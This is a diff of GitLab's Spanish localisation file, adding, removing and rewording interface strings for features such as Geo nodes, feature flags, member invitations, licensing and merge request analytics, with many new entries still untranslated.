msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr "¿Está seguro de que desea cancelar la creación de este comentario?"
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
-msgstr "¿Está seguro de que desea eliminar los diseños seleccionados?"
-
msgid "DesignManagement|Cancel changes"
msgstr "Cancelar los cambios"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr "Se ha producido un error al actualizar la nota. Por favor, inténtelo de nuevo."
-msgid "DesignManagement|Delete"
-msgstr "Eliminar"
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr "Confirmación de borrado de diseños"
-
-msgid "DesignManagement|Delete selected"
-msgstr "Eliminar seleccionado"
-
msgid "DesignManagement|Deselect all"
msgstr "Deseleccionar todo"
@@ -8365,8 +8684,11 @@ msgstr "Detalles (por defecto)"
msgid "Detect host keys"
msgstr "Detectar las claves del host"
-msgid "DevOps Score"
-msgstr "Puntuación DevOps"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
+msgstr ""
msgid "Diff content limits"
msgstr "Límites de contenido del diff"
@@ -8374,6 +8696,9 @@ msgstr "Límites de contenido del diff"
msgid "Diff limits"
msgstr "Límites del diff"
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr "Diferencia entre la fecha de inicio y ahora"
@@ -8386,8 +8711,11 @@ msgstr "(base)"
msgid "Diffs|No file name available"
msgstr "Sin nombre de archivo disponible"
-msgid "Diffs|Show unchanged lines"
-msgstr "Mostrar líneas sin cambios"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
+msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
msgstr "Se ha producido un error mientras se obtienen las líneas del diff."
@@ -8491,9 +8819,6 @@ msgstr "Discutir una propuesta específica o una pregunta que necesita ser resue
msgid "Discuss a specific suggestion or question."
msgstr "Discutir una sugerencia o pregunta específica."
-msgid "Discussion"
-msgstr "Discusión"
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr "Editar tablero"
msgid "Edit comment"
msgstr "Editar comentario"
-msgid "Edit dashboard"
-msgstr "Editar panel de control"
-
msgid "Edit description"
msgstr "Editar descripción"
@@ -9051,9 +9373,6 @@ msgstr "Habilitar la autenticación de dos factores"
msgid "Enable usage ping"
msgstr "Habilitar ping de uso"
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr "Habilitar/Deshabilitar su Service Desk. %{link_start} Obtenga más información sobre Service Desk en el siguiente enlace %{link_end}."
@@ -9222,6 +9541,9 @@ msgstr "Los Entornos le permiten hacer un seguimiento de los despliegues de su a
msgid "Environments in %{name}"
msgstr "Entornos en %{name}"
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr "Añadir un proyecto al panel de control"
@@ -9246,8 +9568,8 @@ msgstr "Eliminar"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr "El panel de control de entornos proporciona un resumen detallado del estado de los entornos de cada proyecto, incluidos los estados de alerta y de los pipelines."
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
-msgstr "Este panel muestra un máximo de 7 proyectos y 3 entornos por proyecto. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
msgstr "Se ha producido un error al cancelar la parada automática, inténtelo de nuevo"
@@ -9525,6 +9847,9 @@ msgstr "Al hacer esto también eliminará cualquier descendiente de %{bStart}%{t
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr "Para programar la fecha %{epicDateType} de su épica basada en hitos, asigne un hito con una fecha %{epicDateType} a cualquier incidencia de la épica."
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr "Recopilación de evidencias"
msgid "Exactly one of %{attributes} is required"
msgstr "Exactamente uno de los %{attributes} es necesario"
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr "Miembros y grupos existentes"
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr "Expandir todo"
msgid "Expand approvers"
msgstr "Expandir aprobadores"
-msgid "Expand down"
-msgstr "Expandir hacia abajo"
-
msgid "Expand dropdown"
msgstr "Expandir el menú desplegable"
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr "Expandir barra lateral"
-msgid "Expand up"
-msgstr "Expandir todo"
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr "Vencimiento"
msgid "Expiration date"
msgstr "Fecha de vencimiento"
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr "Caducó"
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr "ID"
@@ -10448,6 +10770,9 @@ msgstr "Se ha producido un error al obtener las Feature Flag."
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr "Inténtelo de nuevo en un momento o contacte con su equipo de soporte."
@@ -10457,9 +10782,6 @@ msgstr "IDs de usuarios"
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr "Eliminar estrategia"
-
msgid "FeatureFlag|List"
msgstr "Lista"
@@ -10499,6 +10821,9 @@ msgstr "Se ha producido un error al obtener las licencias. No está autorizado a
msgid "File"
msgstr "Archivo"
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr "Color de la fuente"
msgid "Footer message"
msgstr "Mensaje a pie de página"
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr "Para los proyectos internos, cualquier usuario que haya iniciado sesión puede visualizar los pipelines y acceder a un trabajo de forma detallada (registros de salida y artefactos)"
@@ -10895,30 +11223,15 @@ msgstr "El nodo está caído o fallando."
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr "El nodo es lento, está sobrecargado o se ha recuperado después de una interrupción."
-msgid "GeoNodes|Attachments"
-msgstr "Adjuntos"
-
-msgid "GeoNodes|Checksummed"
-msgstr "Comprobado"
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr "Repositorios de contenedores"
-
msgid "GeoNodes|Data replication lag"
msgstr "Retraso en replicación de datos"
-msgid "GeoNodes|Design repositories"
-msgstr "Repositorios de diseño"
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr "No coincide con la configuración principal de almacenamiento"
-msgid "GeoNodes|Failed"
-msgstr "Fallido"
-
msgid "GeoNodes|Full"
msgstr "Completo"
@@ -10934,12 +11247,6 @@ msgstr "Estado de salud"
msgid "GeoNodes|Internal URL"
msgstr "URL interna"
-msgid "GeoNodes|Job artifacts"
-msgstr "Artefactos del trabajo"
-
-msgid "GeoNodes|LFS objects"
-msgstr "Objetos LFS"
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr "ID del último evento procesado por el cursor"
@@ -10967,12 +11274,6 @@ msgstr "El nodo se eliminó correctamente."
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr "Sin suma de verificación"
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr "Slots de replicación"
msgid "GeoNodes|Replication status"
msgstr "Estado de la replicación"
-msgid "GeoNodes|Repositories"
-msgstr "Repositorios"
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr "Progreso de la suma de verificación del repositorio"
-
-msgid "GeoNodes|Repository verification progress"
-msgstr "GeoNodes|Progreso de la verificación del repositorio"
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr "Selectivo (%{syncLabel})"
@@ -11030,27 +11322,12 @@ msgstr "Opciones de sincronización"
msgid "GeoNodes|Unused slots"
msgstr "Slots sin utilizar"
-msgid "GeoNodes|Unverified"
-msgstr " Sin verificar"
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr "Actualizado %{timeAgo}"
msgid "GeoNodes|Used slots"
msgstr "Slots utilizados"
-msgid "GeoNodes|Verified"
-msgstr "Verificado"
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr "Progreso de verificación del wiki"
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr "Progreso de la verificación del wiki"
-
-msgid "GeoNodes|Wikis"
-msgstr "Wikis"
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr "Con %{geo} puede instalar una instancia especial de solo lectura y replicarla en cualquier lugar. Antes de agregar los nodos, siga las %{instructions} en el orden exacto en que se muestran."
@@ -11063,6 +11340,12 @@ msgstr "nodo principal"
msgid "GeoNodes|secondary nodes"
msgstr "nodos secundarios"
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr "%{label} no puede estar en blanco"
@@ -11126,6 +11409,12 @@ msgstr "Filtrar por estado"
msgid "Geo|Geo Status"
msgstr "Estado de Geo"
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr "En curso"
@@ -11258,10 +11547,10 @@ msgstr "Se ha producido un error durante la verificación - %{error}"
msgid "Geo|Waiting for scheduler"
msgstr "Esperando por el programador"
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,8 +11727,8 @@ msgstr "Caducado"
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr "Forzar HTTPS (requiere certificados válidos)"
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
-msgstr "Las páginas de GitLab están deshabilitadas para este proyecto. Puede habilitarlas en los ajustes %{strong_start} de su proyecto > General > Visibilidad%{strong_end}."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
+msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
msgstr "Pueden pasar hasta 30 minutos antes de que el sitio esté disponible después del primer despliegue."
@@ -11555,7 +11844,10 @@ msgstr "Ir a pantalla completa"
msgid "Go to %{link_to_google_takeout}."
msgstr "Ir a %{link_to_google_takeout}."
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr "La cuota de minutos del pipeline fue restablecida con éxito."
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "Prevenir que se comparta un proyecto de %{group} con otros grupos"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr "La información de la verificación del estado del sistema se puede obte
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr "El token de acceso es"
@@ -12341,6 +12639,9 @@ msgstr "Poco saludable"
msgid "Hello there"
msgstr "¡Hola!"
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr "Ayuda"
@@ -12471,6 +12772,9 @@ msgstr "¿En cuántos shards se puede dividir el índice de Elasticsearch?."
msgid "How many users will be evaluating the trial?"
msgstr "¿Cuántos usuarios evaluarán la prueba?"
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr "Sin embargo, ya es miembro de este %{member_source}. Inicie sesión con una cuenta diferente para aceptar la invitación."
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr "Si su repositorio HTTP no es accesible públicamente, añada sus credenciales."
@@ -12780,6 +13090,9 @@ msgstr "Se ha producido un error al importar el proyecto"
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr "Solicitando a su %{provider} los repositorios fallados"
@@ -12795,6 +13108,9 @@ msgstr "No se pudo crear el repositorio."
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr "Se ha producido un error al actualizar los proyectos importados con cambios en tiempo real"
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr "Mejorar el tablero de incidencias"
@@ -12807,14 +13123,14 @@ msgstr "Mejore los merge request y la atención al cliente con GitLab Enterprise
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
-msgstr "Mejore la búsqueda con Advanced Global Search y GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
+msgstr ""
msgid "In %{time_to_now}"
msgstr "En %{time_to_now}"
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
-msgstr "Con el fin de permitir el análisis a nivel de instancia, por favor solicite a un administrador que habilite %{usage_ping_link_start}el uso de ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
+msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
msgstr "Con el fin de recopilar datos precisos sobre los datos de uso, es posible que tarde de 1 a 2 semanas en poder ver su índice."
@@ -12822,21 +13138,24 @@ msgstr "Con el fin de recopilar datos precisos sobre los datos de uso, es posibl
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr "En progreso"
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr "En el siguiente paso, podrá seleccionar los proyectos que desea importar."
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr "Límites de gestión de incidentes"
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr "Indentar"
msgid "Index all projects"
msgstr "Indexar todos los proyectos"
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr "Indica si este ejecutor puede seleccionar trabajos sin etiquetas"
@@ -13008,6 +13336,9 @@ msgstr "Instale un autenticador de token por software como por ejemplo, %{free_o
msgid "Install on clusters"
msgstr "Instala en los clústeres"
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr "Instalado"
@@ -13022,8 +13353,8 @@ msgstr[1] "Instancias"
msgid "Instance Configuration"
msgstr "Configuración de la instancia"
-msgid "Instance Statistics visibility"
-msgstr "Visibilidad de las estadísticas de instancia"
+msgid "Instance Statistics"
+msgstr ""
msgid "Instance administrators group already exists"
msgstr "Ya existe el grupo de administrador de instancias"
@@ -13049,6 +13380,12 @@ msgstr "Detalles del comentario:"
msgid "Integrations|Comment settings:"
msgstr "Configuración de los comentarios:"
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr "Habilitar comentarios"
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr "Estándar"
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr "Patrón de intervalo"
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr "Archivo de configuración de Insights no válido detectado"
msgid "Invalid Login or password"
msgstr "Inicio de sesión o contraseña no válida"
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr "URL no válida"
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr "Nombre del contenedor no válido"
@@ -13208,6 +13548,39 @@ msgstr "Invitar al miembro"
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr "Incidencia"
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr "La incidencia %{issue_reference} ya ha sido añadido a la tarea épica %{epic_reference}."
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr "Tablero de incidencias"
@@ -13346,9 +13722,6 @@ msgstr "Gestor de incidencias YouTrack"
msgid "Issues"
msgstr "Incidencias"
-msgid "Issues Analytics"
-msgstr "Análisis de incidencias"
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr "Contraseña o token del API"
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr "ID(s) de transición"
@@ -13547,6 +13926,9 @@ msgstr "Utilice una contraseña para la versión servidor y un correo electróni
msgid "JiraService|Username or Email"
msgstr "Nombre de usuario o correo electrónico"
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,8 +14217,8 @@ msgstr "Las etiquetas se pueden aplicar a incidencias y merge requests para cate
msgid "Labels can be applied to issues and merge requests."
msgstr "Las etiquetas se pueden aplicar a las incidencias y a los merge requests."
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
-msgstr "<span>¿Promocionar la etiqueta</span> %{labelTitle} <span>a etiqueta de grupo?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
+msgstr ""
msgid "Labels|Promote Label"
msgstr "Promocionar etiqueta"
@@ -14065,7 +14447,7 @@ msgstr "Historial de licencias"
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,11 +14546,11 @@ msgstr "Eliminar la licencia"
msgid "LicenseCompliance|Remove license?"
msgstr "¿Eliminar la licencia?"
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
-msgstr "Actualmente no hay licencias aprobadas o incluidas en la lista negra de este proyecto."
+msgid "LicenseCompliance|There are currently no policies in this project."
+msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
-msgstr "Actualmente no hay licencias aprobadas o incluidas en la lista negra que coincidan con este proyecto."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
+msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr "Ya existe esta licencia en este proyecto."
@@ -14194,6 +14576,9 @@ msgstr "Características licenciadas"
msgid "Licensed to"
msgstr "Licenciado a"
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr "Licencias"
@@ -14257,9 +14642,6 @@ msgstr "Comprar licencia"
msgid "License|License"
msgstr "Licencia"
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr "Puede restaurar el acceso a las características Gold en cualquier momento haciendo una actualización."
@@ -14275,9 +14657,6 @@ msgstr "Su licencia"
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr "Su periodo de prueba gratuito de GitLab Ultimate finalizó el %{trial_ends_on}."
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr "Limitar la visualización de las unidades de seguimiento de tiempo a horas."
@@ -14331,6 +14710,9 @@ msgstr "Mostrar sus repositorios de Gitea"
msgid "List available repositories"
msgstr "Lista de repositorios disponibles"
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr "Vista previa"
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr "Cargando"
@@ -14403,8 +14788,8 @@ msgstr "Bloqueo no encontrado"
msgid "Lock the discussion"
msgstr "Bloquear la discusión"
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
-msgstr "¿Bloquear este %{issuableDisplayName}? Sólo los <strong>miembros del proyecto</strong> podrán comentar."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
+msgstr ""
msgid "Lock to current projects"
msgstr "Bloquear al proyecto actual"
@@ -14454,6 +14839,12 @@ msgstr "MD5"
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr "Aprobado por"
msgid "MRApprovals|Approvers"
msgstr "Aprobadores"
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr "Mostrar sólo los cambios"
@@ -14553,9 +14947,6 @@ msgstr "Importar fichero de manifiesto"
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr "Trabajo manual"
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr "No ha sido posible guardar el orden de las incidencias"
@@ -14667,9 +15058,6 @@ msgstr "Sugerencias:"
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr "Metadatos de Maven"
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr "Miembros"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr "Miembros con acceso a %{strong_start}%{group_name}%{strong_end}"
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr "Miembros pendientes de acceso a %{strong_start}%{group_name}%{strong_end}"
-
msgid "Memory Usage"
msgstr "Uso de memoria"
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr "Merge requests"
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr "Solicitudes de merge creadas"
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr "Realizar merge inmediatamente"
msgid "Merge in progress"
msgstr "Merge en progreso"
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr "conflictos"
msgid "MergeConflict|origin//their changes"
msgstr "origen//sus cambios"
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr "Por favor seleccione una métrica"
msgid "MetricChart|Selected"
msgstr "Seleccionado"
